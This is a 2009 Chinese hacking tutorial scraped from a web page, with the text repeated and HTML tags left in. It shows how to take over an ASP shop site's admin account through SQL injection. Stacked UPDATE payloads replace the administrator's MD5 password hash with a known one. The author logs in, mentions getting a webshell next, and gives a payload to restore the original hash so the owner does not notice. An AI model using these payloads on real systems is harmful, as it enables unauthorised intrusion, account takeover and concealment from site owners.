通过注射修改管理员密码

通过注射修改管理员密码 </h1> <div id="property"> 2009-10-27 09:45:51  xueheike&#46;net  来源：<a href="" target="_blank">冰点极限&海阳顶端</a></div><!--引用地址--> 注入点已经找到：http://xxx&#46;com/book&#46;asp?id=1996 我刚已经用NB检测过了。可以看到，存在表段 shop_admin。 可是密码是MD5加密的：[adminid]:24 [admin]:zhuyaod [password]:d4716077c2ba075c 那咋办？难道要跑 &#46;&#46;&#46; 注入点已经找到：<A href="http://xxx&#46;com/book&#46;asp?id=1996" target=_blank><U>http://xxx&#46;com/book&#46;asp?id=1996</U></A> <BR>我刚已经用NB<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%BC%EC%B2%E2">检测</SPAN>过了。可以看到，存在表段 shop_admin。 <BR>可是<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%C3%DC%C2%EB">密码</SPAN>是MD5加密的：[adminid]:24 [admin]:zhuyaod [password]:d4716077c2ba075c <BR>那咋办？难道要跑密码？那得浪费多少时间和内存啊？ <BR>下面我来介绍一种新方法：<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%D7%A2%C9%E4">注射</SPAN>。注射的语句如下： <BR>;update shop_admin set password=’新MD5加密密码’ where password=’d4716077c2ba075c’-- <BR>比如，我需要把zhuyaod的密码改成wmmhacker，我们首先要先获得wmmhacker通过MD5加密后的十二 <BR><BR>位密码 <BR>这里用明小子的<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%B9%A4%BE%DF">工具</SPAN>就能转换了。wmmhacker - f8dc763194f29433 <BR>;update shop_admin set password=’f8dc763194f29433’ where password=’d4716077c2ba075c’-- <BR>我们来测试。看见了，页面没有返回错误，表示成功了。 <BR>现在我们对shop_admin表段下的密码做重新解猜。 <BR>[adminid]:24 [admin]:zhuyaod [password]:f8dc763194f29433 <BR>大家对比一下，已经改变了。现在我们可以<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%B5%C7%C2%BD">登陆</SPAN>了。 <BR>进来了。呵呵。就到这里了吧。值得提一句的是，我们进了后台，然后想办法拿到<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=WEB">WEB</SPAN><SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=SHELL">SHELL</SPAN>。 <BR>接着，别忘了把<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%B9%DC%C0%ED%D4%B1">管理员</SPAN>密码还原。不然他会发现滴！ <BR>;update shop_admin set password=’d4716077c2ba075c’ where password=’f8dc763194f29433’--</div>